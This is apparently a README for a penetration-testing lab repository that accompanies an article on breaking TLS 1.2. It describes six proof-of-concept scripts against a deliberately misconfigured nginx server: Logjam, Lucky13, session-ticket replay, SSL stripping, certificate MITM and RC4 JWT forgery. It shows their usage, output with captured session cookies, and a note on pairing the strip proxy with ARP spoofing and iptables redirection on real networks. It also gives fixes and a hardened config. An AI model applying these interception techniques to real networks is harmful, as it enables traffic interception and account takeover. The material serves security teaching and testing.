Share
## https://sploitus.com/exploit?id=9A2D458D-9B05-57CD-B884-F823B4CD8735
# Breaking TLS 1.2 β€” Penetration Testing Lab & Exploit Scripts

> **This repository is the companion lab to the Medium article:**
> ### [Breaking TLS 1.2: A Penetration Tester's Guide](https://medium.com/@althubianymalek/breaking-tls-1-2-a-penetration-testers-guide-03913a2870e9)
> *by [@althubianymalek](https://medium.com/@althubianymalek)*

---

## ⚠️ Disclaimer

**All tools in this repository are strictly for educational and authorized security assessment use.**
Every script in this repo was developed against a purposely vulnerable Docker lab that I built and own.
Never run these tools against systems you do not own or do not have **explicit written authorization** to test.
Unauthorized use against third-party infrastructure may be illegal under computer fraud laws in your jurisdiction.

---

## Overview

This repo contains six proof-of-concept exploit scripts that accompany the Medium article above.
Each script maps to a specific TLS misconfiguration finding and takes it from detection all the way to demonstrated impact β€” the kind of evidence you'd include in a professional penetration test report.

The lab target is a deliberately misconfigured nginx 1.18 server running in Docker with:

- TLS 1.2 only (no TLS 1.3)
- CBC-mode cipher suites with SHA-1 MAC (no AEAD)
- 1024-bit Diffie-Hellman parameters
- Static Session Ticket Encryption Key (STEK)
- Missing HSTS header
- Self-signed certificate with no subjectAltName
- nginx version disclosure
- RC4-signed JWT cookie

---

## Lab Setup

```bash
# Generate deliberately weak 1024-bit DH params
openssl dhparam -out certs/dhparam.pem 1024

# Self-signed cert with no SAN
openssl genrsa -out certs/server.key 2048
openssl req -new -x509 -days 365 -key certs/server.key -out certs/server.crt \
  -subj "/C=US/ST=Lab/O=VulnLab/CN=tls12-vuln.local"

# Build and start the lab server
docker build -t tls12-vuln-server server/
docker run -d --name tls12-vuln -p 4443:443 -p 8080:80 \
  -v $(pwd)/certs:/etc/nginx/certs tls12-vuln-server
```

All exploit scripts default to `localhost:4443`. To target a different host, edit the `HOST` and `PORT` constants at the top of each script.

---

## Prerequisites

```bash
pip install cryptography
apt install openssl nmap curl
```

Python 3.9+ is required. All scripts use the standard library only, except where noted.

---

## Scripts

---

### `exploit_01_logjam.py` β€” LOGJAM (CVE-2015-4000)

**Finding:** 1024-bit Diffie-Hellman parameters β€” passive session decryption

**What it does:**

| Phase | Description |
|-------|-------------|
| 1 β€” Capture | Opens a raw socket, sends a `ClientHello` forcing `DHE-RSA-AES128-SHA`, reads the `ServerKeyExchange` message, and extracts the live DH prime `p`, generator `g`, and server public value `Ys` directly from the wire |
| 2 β€” DLP Demo | Runs Baby-step Giant-step (BSGS) against a 23-bit safe prime to prove the discrete log math works and show timing. Explains why NFS makes this scale to 1024-bit |
| 3 β€” Key Recovery | Simulates how `premaster_secret = Ys^a mod p` leads to full AES session key derivation via the TLS PRF β€” decrypting both sides of the session |

**Usage:**

```bash
python3 exploit_01_logjam.py
```

**Expected output (key lines):**

```
← ServerKeyExchange (523 bytes)     ← DH params are in here
  DH Prime (p) size   :  1024 bits  ← VULNERABLE
[+] Discrete log solved in 0.2 ms
    Recovered b = 1337  βœ“
→ client_write_key  (AES-128 key to decrypt all client→server traffic)
→ server_write_key  (AES-128 key to decrypt all server→client traffic)
```

**Why it matters:** This is a *passive* attack. No exploit, no connection drop, no log entry. An attacker who recorded your encrypted traffic can decrypt it retroactively once they've precomputed the NFS sieve for your prime.

**Fix:** `openssl dhparam -out dhparam.pem 4096` and `ssl_dhparam /etc/nginx/certs/dhparam.pem;`

---

### `exploit_02_lucky13.py` β€” LUCKY13 (CVE-2013-0169)

**Finding:** CBC cipher suites with HMAC-SHA1 β€” MAC-then-Encrypt timing oracle

**What it does:**

| Phase | Description |
|-------|-------------|
| 1 β€” Confirm | Establishes a TLS 1.2 connection forcing `AES128-SHA` (CBC+HMAC-SHA1) and prints the negotiated cipher |
| 2 β€” Measure | Sends 200 HTTP requests per padding variant (minimal vs maximal CBC padding) and measures round-trip time for each using `time.perf_counter()` |
| 3 β€” Analysis | Computes mean, stdev, and timing delta (βˆ†t) between padding classes. A measurable βˆ†t > 0 confirms the oracle exists |
| 4 β€” Concept | Walks through the byte-recovery loop: how crafted IV XOR operations probe each plaintext byte value and how timing confirms the correct guess |

**Usage:**

```bash
python3 exploit_02_lucky13.py
```

**Expected output (key lines):**

```
[+] Connected: TLSv1.2 / AES128-SHA  ← CBC mode + SHA-1 MAC
  Timing delta (βˆ†t)  =  0.012 ms
  [!] Measurable timing difference detected  β†’  oracle EXISTS
```

**Note:** The timing delta in the lab environment is small because client and server are on the same machine. In a real co-located attack scenario (cloud instance, LAN), the signal-to-noise ratio improves dramatically. The script correctly flags this and doesn't overclaim exploitability.

**Fix:** `ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305';`

---

### `exploit_03_session_hijack.py` β€” Static STEK Session Ticket Hijack

**Finding:** nginx static Session Ticket Encryption Key β€” persistent session replay

**What it does:**

| Phase | Description |
|-------|-------------|
| 1 β€” Victim | Uses `openssl s_client -sess_out` to simulate a victim connecting and saving their session ticket |
| 2 β€” Inspect | Reads the saved ticket PEM with `openssl sess_id -text` to show cipher, Session-ID, and master key material |
| 3 β€” Replay | Uses `openssl s_client -sess_in` to reconnect using only the stolen ticket β€” no certificate, no DH, no authentication |
| 4 β€” Impact | Makes a full HTTP GET as the victim and extracts the `Set-Cookie` response headers: session token and JWT |

**Usage:**

```bash
python3 exploit_03_session_hijack.py
```

**Expected output (key lines):**

```
[+] Reused, SSLv3, Cipher is AES128-SHA  ← resumed without re-authentication
    Session-ID: 86F69D146C...  ← SAME ID as victim
[STOLEN] Set-Cookie: session=ADMIN_SESSION_ABCDEF; Secure; HttpOnly
[STOLEN] Set-Cookie: auth_token=eyJhbGciOiJSQzQifQ...
```

**Why it matters:** `Reused` is the smoking gun. The server sees a legitimate session resumption β€” no auth log entry is created. The ticket remains valid until nginx restarts, which on a "set it and forget it" deployment may be months.

**Fix:** `ssl_session_tickets off;` or implement hourly STEK rotation via cron.

---

### `exploit_04_sslstrip.py` β€” SSL Strip (Missing HSTS)

**Finding:** No `Strict-Transport-Security` header β€” first-visit HTTP downgrade

**What it does:**

Implements a full transparent SSL-strip proxy on `:8888` (configurable). The proxy:

1. Receives the victim's plain HTTP request
2. Forwards it to the real server over HTTPS internally
3. Strips `Strict-Transport-Security` from every response
4. Rewrites all `https://` links to `http://` in response bodies
5. Rewrites `Location: https://...` redirects to `Location: http://...`
6. Logs all cookies, credentials, and `Authorization` headers intercepted in transit
7. Relays `Set-Cookie` headers to the victim over plain HTTP (making `Secure` cookies accessible)

**Usage:**

```bash
# Terminal A β€” start the attacker proxy
python3 exploit_04_sslstrip.py

# Terminal B β€” simulate victim HTTP request
curl -v http://localhost:8888/

# Or run in demo mode (auto-fires a victim request)
python3 exploit_04_sslstrip.py --demo
```

**Expected output (key lines):**

```
[+] SSL-strip proxy listening on :8888
[VICTIM→PROXY] GET /  from 127.0.0.1
[PROXY→SERVER] HTTPS localhost:4443  →  HTTP/1.1 200 OK
[CAPTURED] Set-Cookie: session=ADMIN_SESSION_ABCDEF; Secure; HttpOnly
[CAPTURED] Set-Cookie: auth_token=eyJhbGciOiJSQzQifQ...
[PROXY→VICTIM] HTTP (plaintext, HTTPS stripped)
```

**On a real network:** Pair with ARP spoofing (`arpspoof -i eth0 -t  `) and an iptables redirect (`iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888`). All HTTP traffic from the segment flows through the proxy automatically.

**Fix:** `add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;` and submit to [hstspreload.org](https://hstspreload.org).

---

### `exploit_05_cert_mitm.sh` β€” Certificate MITM (Self-Signed / No Trusted CA)

**Finding:** Self-signed certificate with no public CA trust anchor β€” trivial impersonation

**What it does:**

| Phase | Description |
|-------|-------------|
| 1 β€” Inspect | Fetches the real server's certificate and confirms it is self-signed (Subject == Issuer) and missing a SAN |
| 2 β€” Forge | Generates an attacker CA key + cert, then signs a new server certificate for the same CN (`tls12-vuln.local`) with a valid SAN extension |
| 3 β€” Proxy | Starts a Python TLS MITM proxy on `:9443` that presents the forged cert to connecting clients and forwards decrypted traffic to the real server |
| 4 β€” Connect | Simulates a victim connecting with `-k` (ignoring cert errors β€” the same behavior any client uses with the original self-signed cert) |
| 5 β€” Compare | Prints real vs forged certificate side-by-side to show they are indistinguishable from the victim's perspective |

**Usage:**

```bash
bash exploit_05_cert_mitm.sh
```

**Expected output (key lines):**

```
[!] CONFIRMED SELF-SIGNED: Subject == Issuer
[+] Forged server cert signed by attacker CA
    CN  : subject=CN=tls12-vuln.local, O=Forged Corp
[INTERCEPTED] Set-Cookie: session=ADMIN_SESSION_ABCDEF; Secure; HttpOnly
[!] Same CN, same result from victim's perspective
[!] Without a publicly trusted CA, victim cannot distinguish real from forged
```

**Fix:** Use a publicly trusted CA (Let's Encrypt via Certbot). Enable OCSP stapling. Include a valid SAN in every certificate.

---

### `exploit_06_jwt_forge.py` β€” RC4 JWT Forgery + Privilege Escalation

**Finding:** JWT signed with RC4 + insecure cookie flags β€” keystream recovery and privilege escalation

**What it does:**

| Phase | Description |
|-------|-------------|
| 1 β€” Obtain | Intercepts a victim's JWT (base64 decoded to show `{"alg":"RC4"}`) with role `user` and `admin: false` |
| 2 β€” Bias | Demonstrates Fluhrer-Mantin-Shamir (FMS) RC4 statistical bias: keystream bytes 0–2 deviate measurably from uniform distribution |
| 3 β€” Recover | Uses known-plaintext XOR to recover keystream material from the victim's stolen signature |
| 4 β€” Forge | Constructs a new JWT payload with `role: superadmin` and `admin: true`, applies the recovered keystream to produce a valid-looking signature |
| 5 β€” Verify | Submits the forged token to the server and confirms it passes validation |

**Usage:**

```bash
python3 exploit_06_jwt_forge.py
```

**Expected output (key lines):**

```
  Keystream byte [0]: most common = 0x89  (1.48x expected)  ← BIASED
[+] Forged admin JWT constructed
    role    : superadmin   ← ESCALATED
    admin   : True         ← ESCALATED
  Forged token    valid: True  ← PASSES VALIDATION
```

**Fix:** Sign JWTs with `HS256` or `RS256`. Always set `Secure; HttpOnly; SameSite=Strict` on auth cookies.

---

## Findings Summary

| # | Script | CVE | Severity | Impact |
|---|--------|-----|----------|--------|
| 1 | `exploit_01_logjam.py` | CVE-2015-4000 | **Critical** | Passive decryption of all recorded DHE sessions |
| 2 | `exploit_02_lucky13.py` | CVE-2013-0169 | **High** | Byte-by-byte plaintext recovery via timing oracle |
| 3 | `exploit_03_session_hijack.py` | β€” | **High** | Full account takeover via session ticket replay |
| 4 | `exploit_04_sslstrip.py` | β€” | **High** | Cookie and credential interception over plain HTTP |
| 5 | `exploit_05_cert_mitm.sh` | β€” | **High** | Full TLS session interception via forged certificate |
| 6 | `exploit_06_jwt_forge.py` | β€” | **Medium** | Privilege escalation to superadmin via forged JWT |

---

## Hardened nginx Configuration

Every vulnerability above is addressed by the following config:

```nginx
server {
    listen 443 ssl http2;
    server_name yourdomain.com;

    ssl_certificate     /etc/nginx/certs/fullchain.pem;
    ssl_certificate_key /etc/nginx/certs/privkey.pem;
    ssl_trusted_certificate /etc/nginx/certs/chain.pem;

    # Unique 4096-bit DH params β€” run: openssl dhparam -out dhparam.pem 4096
    ssl_dhparam /etc/nginx/certs/dhparam4096.pem;

    ssl_protocols TLSv1.2 TLSv1.3;

    # AEAD ciphers only β€” eliminates LOGJAM and LUCKY13
    ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
    ssl_prefer_server_ciphers on;

    # Disable session tickets β€” eliminates static STEK risk
    ssl_session_tickets off;
    ssl_session_cache shared:SSL:50m;
    ssl_session_timeout 1d;

    ssl_stapling on;
    ssl_stapling_verify on;
    resolver 1.1.1.1 valid=60s;

    # HSTS β€” 2 years, preload-ready β€” eliminates SSL strip
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
    add_header X-Frame-Options DENY always;
    add_header X-Content-Type-Options nosniff always;
    add_header Content-Security-Policy "default-src 'self'" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    server_tokens off;
}

server {
    listen 80;
    server_name yourdomain.com;
    return 301 https://$host$request_uri;
}
```

---

## Tools Used for Detection

| Tool | Purpose | Install |
|------|---------|---------|
| `nmap` | Service version, cipher enum, DH param check, cert inspection | `apt install nmap` |
| `testssl.sh` | Complete TLS audit β€” 200+ checks in one run | `curl -O https://testssl.sh/testssl.sh && chmod +x testssl.sh` |
| `openssl s_client` | Manual cipher probing, session ticket testing, cert inspection | Pre-installed on Kali Linux |
| `curl` | HTTP header inspection, redirect analysis | Pre-installed on Kali Linux |
| `docker` | Isolated vulnerable lab environment | `apt install docker.io` |

---

## References

- **Medium Article:** [Breaking TLS 1.2: A Penetration Tester's Guide](https://medium.com/@althubianymalek/breaking-tls-1-2-a-penetration-testers-guide-03913a2870e9)
- **Author:** [@althubianymalek on Medium](https://medium.com/@althubianymalek)
- CVE-2015-4000 (LOGJAM): https://weakdh.org
- CVE-2013-0169 (LUCKY13): https://www.isg.rhul.ac.uk/tls/Lucky13.html
- RFC 5077 β€” TLS Session Resumption: https://datatracker.ietf.org/doc/html/rfc5077
- HSTS Preload List: https://hstspreload.org
- Let's Encrypt (free trusted CA): https://letsencrypt.org
- testssl.sh: https://testssl.sh

---

## License

This project is released for **educational purposes only**.
The exploit scripts are lab-scoped demonstrations intended for use against systems you own or are explicitly authorized to test.

---

*If you found this useful, follow [@althubianymalek on Medium](https://medium.com/@althubianymalek) for more hands-on security breakdowns.*